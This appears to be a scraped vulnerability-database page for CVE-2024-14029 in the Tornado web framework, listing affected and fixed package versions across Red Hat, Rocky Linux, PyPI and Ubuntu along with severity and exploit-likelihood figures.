Red Hat:enterprise_linux:8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.18-2.el8_10.10
0:0.10.18-2.el8_10.10
pcs-snmp
Red Hat:enterprise_linux:8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.18-2.el8_10.10
0:0.10.18-2.el8_10.10
pcs
Red Hat:enterprise_linux:8::resilientstorage
From an advisory covering 2 CVEs
before 0:0.10.18-2.el8_10.10
0:0.10.18-2.el8_10.10
pcs-snmp
Red Hat:enterprise_linux:8::resilientstorage
From an advisory covering 2 CVEs
before 0:0.10.18-2.el8_10.10
0:0.10.18-2.el8_10.10
pcs
Red Hat:rhel_aus:8.4::highavailability
From an advisory covering 2 CVEs
before 0:0.10.8-1.el8_4.12
0:0.10.8-1.el8_4.12
pcs-snmp
Red Hat:rhel_aus:8.4::highavailability
From an advisory covering 2 CVEs
before 0:0.10.8-1.el8_4.12
0:0.10.8-1.el8_4.12
pcs
Red Hat:rhel_eus_long_life:8.4::highavailability
From an advisory covering 2 CVEs
before 0:0.10.8-1.el8_4.12
0:0.10.8-1.el8_4.12
pcs-snmp
Red Hat:rhel_eus_long_life:8.4::highavailability
From an advisory covering 2 CVEs
before 0:0.10.8-1.el8_4.12
0:0.10.8-1.el8_4.12
pcs
Red Hat:rhel_e4s:8.8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.15-4.el8_8.12
0:0.10.15-4.el8_8.12
pcs-snmp
Red Hat:rhel_e4s:8.8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.15-4.el8_8.12
0:0.10.15-4.el8_8.12
pcs
Red Hat:rhel_tus:8.8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.15-4.el8_8.12
0:0.10.15-4.el8_8.12
pcs-snmp
Red Hat:rhel_tus:8.8::highavailability
From an advisory covering 2 CVEs
before 0:0.10.15-4.el8_8.12
0:0.10.15-4.el8_8.12
pcs
Red Hat:rhel_eus_long_life:8.6::highavailability
From an advisory covering 2 CVEs
before 0:0.10.12-6.el8_6.14
0:0.10.12-6.el8_6.14
pcs-snmp
Red Hat:rhel_eus_long_life:8.6::highavailability
From an advisory covering 2 CVEs
before 0:0.10.12-6.el8_6.14
0:0.10.12-6.el8_6.14
pcs
Rocky Linux:8
From an advisory covering 2 CVEs
before 0:0.10.18-2.el8_10.10
0:0.10.18-2.el8_10.10
tornado
Root:PyPI
before 6.2+aikido.10
6.2+aikido.106.2+aikido.56.2+aikido.66.2+aikido.76.2+aikido.86.2+aikido.96.2+aikido.116.2+aikido.12
python-tornado
Ubuntu:Pro:16.04:LTS
before 4.2.1-1ubuntu3.1+esm4, plus listed versions
4.2.1-1ubuntu24.2.1-1ubuntu34.2.1-1ubuntu3.14.2.1-1ubuntu3.1+esm14.2.1-1ubuntu3.1+esm24.2.1-1ubuntu3.1+esm3
4.2.1-1ubuntu3.1+esm4
python-tornado
Ubuntu:Pro:18.04:LTS
before 4.5.3-1ubuntu0.2+esm4, plus listed versions
4.5.1-2.1~build24.5.2-14.5.3-14.5.3-1ubuntu0.14.5.3-1ubuntu0.24.5.3-1ubuntu0.2+esm14.5.3-1ubuntu0.2+esm24.5.3-1ubuntu0.2+esm3
4.5.3-1ubuntu0.2+esm4
python-tornado
Ubuntu:Pro:22.04:LTS
before 6.1.0-3ubuntu0.1~esm6, plus listed versions
6.1.0-1build16.1.0-26.1.0-36.1.0-3build16.1.0-3ubuntu0.1~esm16.1.0-3ubuntu0.1~esm26.1.0-3ubuntu0.1~esm46.1.0-3ubuntu0.1~esm5
6.1.0-3ubuntu0.1~esm6
python-tornado
Ubuntu:24.04:LTS
before 6.4.0-1ubuntu0.6, plus listed versions
6.3.2-16.4.0-0ubuntu16.4.0-16.4.0-1build16.4.0-1ubuntu0.16.4.0-1ubuntu0.26.4.0-1ubuntu0.46.4.0-1ubuntu0.5
6.4.0-1ubuntu0.6
python-tornado
Ubuntu:Pro:16.04:LTS
From an advisory covering 6 CVEs
before 4.2.1-1ubuntu3.1+esm4, plus listed versions
4.2.1-1ubuntu24.2.1-1ubuntu34.2.1-1ubuntu3.14.2.1-1ubuntu3.1+esm14.2.1-1ubuntu3.1+esm24.2.1-1ubuntu3.1+esm3
4.2.1-1ubuntu3.1+esm4
python-tornado
Ubuntu:Pro:18.04:LTS
From an advisory covering 6 CVEs
before 4.5.3-1ubuntu0.2+esm4, plus listed versions
4.5.1-2.1~build24.5.2-14.5.3-14.5.3-1ubuntu0.14.5.3-1ubuntu0.24.5.3-1ubuntu0.2+esm14.5.3-1ubuntu0.2+esm24.5.3-1ubuntu0.2+esm3
4.5.3-1ubuntu0.2+esm4
python-tornado
Ubuntu:Pro:20.04:LTS
From an advisory covering 6 CVEs
before 6.0.3+really5.1.1-3ubuntu0.1~esm7, plus listed versions
5.1.1-4ubuntu15.1.1-4ubuntu56.0.3+really5.1.1-26.0.3+really5.1.1-2build16.0.3+really5.1.1-2build2
Show 4 moreShow less
6.0.3+really5.1.1-36.0.3+really5.1.1-3ubuntu0.1~esm16.0.3+really5.1.1-3ubuntu0.1~esm36.0.3+really5.1.1-3ubuntu0.1~esm5
6.0.3+really5.1.1-3ubuntu0.1~esm7
python-tornado
Ubuntu:Pro:22.04:LTS
From an advisory covering 6 CVEs
before 6.1.0-3ubuntu0.1~esm6, plus listed versions
6.1.0-1build16.1.0-26.1.0-36.1.0-3build16.1.0-3ubuntu0.1~esm16.1.0-3ubuntu0.1~esm26.1.0-3ubuntu0.1~esm46.1.0-3ubuntu0.1~esm5
6.1.0-3ubuntu0.1~esm6
python-tornado
Ubuntu:24.04:LTS
From an advisory covering 6 CVEs
before 6.4.0-1ubuntu0.6, plus listed versions
6.3.2-16.4.0-0ubuntu16.4.0-16.4.0-1build16.4.0-1ubuntu0.16.4.0-1ubuntu0.26.4.0-1ubuntu0.46.4.0-1ubuntu0.5
6.4.0-1ubuntu0.6
python-tornado
Ubuntu:26.10
From an advisory covering 6 CVEs
before 6.5.5-5ubuntu1.1, plus listed versions
6.5.4-0.16.5.5-26.5.5-46.5.5-5
6.5.5-5ubuntu1.1
python-tornado
Ubuntu:26.04:LTS
From an advisory covering 6 CVEs
before 6.5.4-0.1ubuntu0.2, plus listed versions
6.4.2-36.5.2-36.5.4-0.16.5.4-0.1ubuntu0.1
6.5.4-0.1ubuntu0.2

History

History
RecordedChangedSources
affected
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-14029 is a critical vulnerability (CVSS 9.0) in Tornadoweb Tornado, published June 6, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. Fixed in tornado 6.4.1.

References

Show 65 moreShow less
This page doesn't list everything

Left out here: 22 versions and the rest of 1 source description. The JSON record has them.

MoveEnter Open